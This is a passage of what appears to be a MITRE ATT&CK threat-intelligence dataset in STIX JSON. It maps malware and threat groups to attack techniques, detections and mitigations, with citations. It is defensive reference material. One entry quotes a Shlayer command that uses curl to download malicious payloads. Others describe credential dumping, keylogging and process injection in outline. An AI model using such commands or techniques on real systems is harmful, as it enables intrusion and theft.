"source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6cfee0a9-4f55-42e9-8670-86a0fa3e6280", "created": "2023-01-17T22:02:07.976Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Costa AvosLocker May 2022", "description": "Costa, F. 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Retrieved January 15, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information from NTDS.dit.(Citation: Impacket Tools)", "modified": "2022-04-19T21:06:21.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6d102ef8-c831-413d-b2cb-392517638b0b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", "source_name": "Palo Alto Sofacy 06-2018"}, {"source_name": "Unit42 Cannon Nov 2018", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."}, {"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", "source_name": "Unit42 Sofacy Dec 2018"}, {"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}, {"description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "source_name": "Accenture SNAKEMACKEREL Nov 2018"}], "modified": "2020-03-17T02:54:27.611Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses HTTP for C2.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6d1074cb-a9eb-4237-b8b2-d823cfa1408b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dyre June 2015", "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"}, {"source_name": "Malwarebytes Dyreza November 2015", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}], "modified": "2020-06-15T20:49:55.661Z", "description": "[Dyre](https://attack.mitre.org/software/S0024) decrypts resources needed for targeting the victim.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)", "relationship_type": "uses", "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6d10e49f-ebd6-47c5-9042-96bd54f7ca79", "type": "relationship", "created": "2019-05-02T01:07:37.022Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. 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(2017, April). Operation Cloud Hopper: Technical Annex. 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(2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}], "modified": "2020-01-10T15:12:52.357Z", "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can timestomp files on victims using a Web shell.(Citation: FireEye APT34 Webinar Dec 2017)", "relationship_type": "uses", "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6d5c4bf4-0dfb-48f7-842d-3392b16eb80e", "created": "2022-09-30T20:03:43.174Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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(2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}], "modified": "2022-02-25T18:58:14.784Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can set its Beacon payload to reach out to the C2 server on an arbitrary and random interval.(Citation: cobaltstrike manual)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6d69c030-d557-4d35-b5dc-99ee973f10eb", "created": "2023-10-12T20:58:35.118Z", "revoked": false, "external_references": [{"source_name": "Unit42 OceanLotus 2017", "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.", "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T20:58:35.118Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has used `zlib` to compress all data after 0x52 for the custom TCP C2 protocol.(Citation: Unit42 OceanLotus 2017)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6d6ece55-8e30-431b-9515-1cdb91813b9e", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "source_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6d8147e4-fca3-4348-9376-dd96cc7b9e30", "type": "relationship", "created": "2020-05-06T21:31:07.554Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.554Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) can collect the victim username.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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[Azorult](https://attack.mitre.org/software/S0344) has also downloaded a ransomware payload called Hermes.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)", "relationship_type": "uses", "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6dbd64e1-bc8a-44f9-811c-a1ccd32318d1", "type": "relationship", "created": "2021-09-22T21:17:31.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). 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Retrieved April 1, 2019.", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "source_name": "ESET OceanLotus Mar 2019"}], "modified": "2019-07-17T13:11:38.717Z", "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has exfiltrated data using the already opened channel with its C&C server.(Citation: ESET OceanLotus Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6dc1f5ca-8881-4d06-b192-7bc502ea94ce", "type": "relationship", "created": "2020-03-29T17:17:31.592Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T15:47:46.274Z", "description": "Restrict execution of particularly vulnerable binaries to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6dca4adf-499d-4cea-b3df-48566ff6deeb", "type": "relationship", "created": "2020-11-12T17:12:38.353Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. 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(2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. 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(2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "source_name": "Cofense Astaroth Sept 2018"}], "modified": "2020-03-16T15:57:28.181Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) logs keystrokes from the victim's machine. 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(AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:10.443Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has created new social media accounts for targeting efforts.(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6de628ac-2f5b-4563-8f54-c5243109221e", "created": "2023-09-27T20:18:18.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bugcrowd Replay Attack", "description": "Bugcrowd. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}], "modified": "2021-01-06T16:56:56.332Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected all network interface MAC addresses that are up and not loopback devices, as well as IP address, DHCP configuration, and domain information.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6deb7ae9-9e35-47cb-8db2-e708ad9543b6", "created": "2023-09-14T18:23:03.327Z", "revoked": false, "external_references": [{"source_name": "Morphisec Snip3 May 2021", "description": "Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.", "url": "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-14T18:23:03.327Z", "description": "[Snip3](https://attack.mitre.org/software/S1086) has the ability to query `Win32_ComputerSystem` for system information. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6dfdfcc8-ff89-4991-830a-5ca31f43b251", "type": "relationship", "created": "2019-01-29T20:08:24.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). 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Retrieved September 8, 2021.", "url": "https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:36:33.461Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) has the ability to execute a malicious DLL by injecting into `explorer.exe` on a compromised machine.(Citation: Gigamon BADHATCH Jul 2019)", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6e9c79b0-9b63-4785-be48-033ab5f55a18", "type": "relationship", "created": "2020-07-16T15:23:48.585Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:23:48.585Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) has collected the system architecture, OS version, and MAC address information.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6e9ca726-0934-4181-a4e6-51ad9d110318", "type": "relationship", "created": "2021-06-30T19:51:48.038Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. 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Retrieved June 29, 2021."}], "modified": "2021-06-30T19:51:48.038Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) can enumerate processes on a target system.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6e9e0836-7d0c-46ec-b1c9-048652075d81", "created": "2022-03-30T14:26:51.867Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Windows Event Forwarding Payne", "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem", "description": "Payne, J. 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Retrieved June 22, 2020."}], "modified": "2020-06-22T20:15:37.597Z", "description": "(Citation: FireEye APT33 Guardrail)(Citation: Microsoft Holmium June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ea21ff2-85d8-4c2f-a6b9-10a6e32814e5", "type": "relationship", "created": "2021-09-22T21:17:32.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Shining A Light on DARKSIDE May 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "description": "FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021."}, {"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}], "modified": "2021-09-22T21:17:32.024Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) can continuously capture keystrokes.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ea74151-62ea-462e-988e-7704db70ec87", "created": "2019-08-29T18:52:20.987Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Carbon Black Shlayer Feb 2019", "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. 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[OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the <code>curl -fsL \"$url\" >$tmp_path</code> command to download malicious payloads into a temporary directory.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: objectivesee osx.shlayer apple approved 2020)", "relationship_type": "uses", "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ea91f17-6015-4339-9b86-2bf51977a7aa", "created": "2022-02-01T15:08:45.242Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AADInternals Documentation", "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022.", "url": "https://o365blog.com/aadinternals"}, {"source_name": "Azure AD Federation Vulnerability", "description": "Dr. Nestori Syynimaa.. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved February 1, 2022.", "url": "https://o365blog.com/post/federation-vulnerability/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T13:05:26.349Z", "description": "[AADInternals](https://attack.mitre.org/software/S0677) can create a backdoor by converting a domain to a federated domain which will be able to authenticate any user across the tenant. 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Retrieved March 2, 2021."}], "modified": "2021-03-30T20:16:51.220Z", "description": "(Citation: Malwarebytes Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6eaf57d7-1e0c-437a-b5e6-4b4dc6f00ae1", "created": "2023-09-15T15:29:57.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BitDefender BADHATCH Mar 2021", "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. 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(2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T20:22:53.385Z", "description": "[Pandora](https://attack.mitre.org/software/S0664) can communicate over HTTP.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--a545456a-f9a7-47ad-9ea6-8b017def38d1", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6eb55cc5-1c90-44ce-ab80-0c938521f1cf", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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Retrieved February 8, 2024.", "url": "https://securelist.com/unveiling-nkabuse/111512/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-12T10:40:57.156Z", "description": "[NKAbuse](https://attack.mitre.org/software/S1107) conducts multiple system checks and includes these in subsequent \"heartbeat\" messages to the malware's command and control server.(Citation: NKAbuse SL)", "relationship_type": "uses", "source_ref": "malware--bd2ebee8-7c38-408a-871d-221012104222", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6eb962fa-ca3e-4af2-9243-132c666a5c25", "created": "2022-04-14T14:35:43.564Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Tomiris Sep 2021", "url": "https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/", "description": "Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Tomiris](https://attack.mitre.org/software/S0671) has the ability to collect recent files matching a hardcoded list of extensions prior to exfiltration.(Citation: Kaspersky Tomiris Sep 2021)", "modified": "2022-04-16T18:54:00.325Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6eb97f82-c49f-465d-b788-15a789f928b5", "created": "2023-04-04T22:02:38.620Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-04T22:02:38.620Z", "description": "[Mafalda](https://attack.mitre.org/software/S1060) can conduct mouse event logging.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": 